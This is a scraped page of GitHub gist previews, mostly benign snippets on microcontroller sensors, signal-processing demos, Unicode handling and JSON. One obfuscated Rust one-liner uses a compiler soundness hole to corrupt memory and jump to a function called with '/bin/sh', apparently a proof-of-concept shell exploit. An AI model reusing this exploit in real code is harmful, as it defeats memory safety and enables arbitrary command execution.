Skip to content

Instantly share code, notes, and snippets.

@anoken
anoken / imu_acc_read
Last active November 30, 2021 02:04
wio_terminal_test_code
#include"LIS3DHTR.h"
LIS3DHTR<TwoWire> lis(I2C_MODE);
void setup() {
Serial.begin(115200);
lis.begin(Wire1, LIS3DHTR_DEFAULT_ADDRESS); //I2C Address
if (!lis) {
Serial.println("ERROR");
while (1);
#! /usr/bin/env python3
""" A Python script for demostration of Hilbert transform."""
# Copyright (C) 2020 by Akira TAMAMORI
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
@xl1
xl1 / gist:940d653451fd96a06618a6df08d5df84
Last active January 14, 2025 06:41
PDF に謎の漢字が含まれるとき

PDF に謎の漢字が含まれるとき

PDF などの中にある一部の日本語の漢字が、見た目は同じだけど異なる謎の文字に変換されていることがある

@anoken
anoken / Test Code
Last active November 30, 2021 02:04
UI Flow http post dump
Test Code
------
import wifiCfg
import urequests
import gc
import micropython
micropython.mem_info()
print('Initial free: {} allocated: {}'.format(gc.mem_free(), gc.mem_alloc()))
wifiCfg.autoConnect()
@noqisofon
noqisofon / example_icu.cpp
Last active July 15, 2022 05:20
( ノ╹◡◡╹)ノ utf-8 な文字列を icu を使ってうまく処理したさを感じた
#include <iostream>
// via: http://yasuda.homeip.net/insomnia/2013/10/icu-cc-unicode-library.html
#include <unicode/schriter.h>
#include <unicode/ustream.h>
using UnicodeStringIterator = icu::StringCharacterIterator;
int main() {
/** msys2 の gcc だと(msys2 の gcc でしか試してないのでこう書いているが、gcc なら多分そうなる)ソースコードのエンコーディングが UTF-8 だと
以下の文字列は raw UTF-8 になる。
#!/usr/bin/env python
""" A Python script to produce fourier series animation of sawtooth wave."""
# Copyright (C) 2020 by Akira TAMAMORI
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
@anoken
anoken / Speech_Recognize.py
Created April 28, 2020 23:30
Speech_Recognize_maixpy.py
# https://github.com/sipeed/MaixPy_scripts/blob/master/multimedia/speech_recognizer/speech_recognizer.py
from Maix import I2S, GPIO
from fpioa_manager import fm
from modules import SpeechRecognizer
import utime, time
# register i2s(i2s0) pin
fm.register(20, fm.fpioa.I2S0_IN_D0, force=True)
fm.register(18, fm.fpioa.I2S0_SCLK, force=True)
fn a(_:u64,_:u64){print!("{}",0x50f0000003bb8u64)}fn b(_:u64,_:u64){}fn h<'a,'b,T>(_:&'a&'b(),v:&'b mut[T])->&'a mut[T]{v}#[inline(never)]fn g<'a,T:Copy>(x:T)->&'a mut[T]{let f:fn(_,_)->_=h;print!("{:p}",&x);f(&&(),&mut[x;0x100])}pub fn main(){let x=g(0u64);let y=g(if x.as_ptr()as u64>>1>0{a}else{b});x[4]+=0x18f8;y[4]("/bin/sh\0".as_ptr()as _,0)}
@ksasao
ksasao / boot.py
Last active April 2, 2022 05:09
M5StickV で UART 文字列受信サンプル。uart.any() で受信バッファの状態を確認して readline() で読むのが簡単。https://twitter.com/ksasao/status/1239058196334923776
import lcd
import image
import time
import uos
lcd.init()
lcd.rotation(2) #Rotate the lcd 180deg
from Maix import I2S, GPIO
from Maix import GPIO
@yohm
yohm / json.cpp
Created March 7, 2020 06:47
basic usage of nlohmann-json
#include <iostream>
#include <fstream>
#include <nlohmann/json.hpp>
// for convenience
using json = nlohmann::json;
namespace ns {
// a simple struct to model a person
struct person {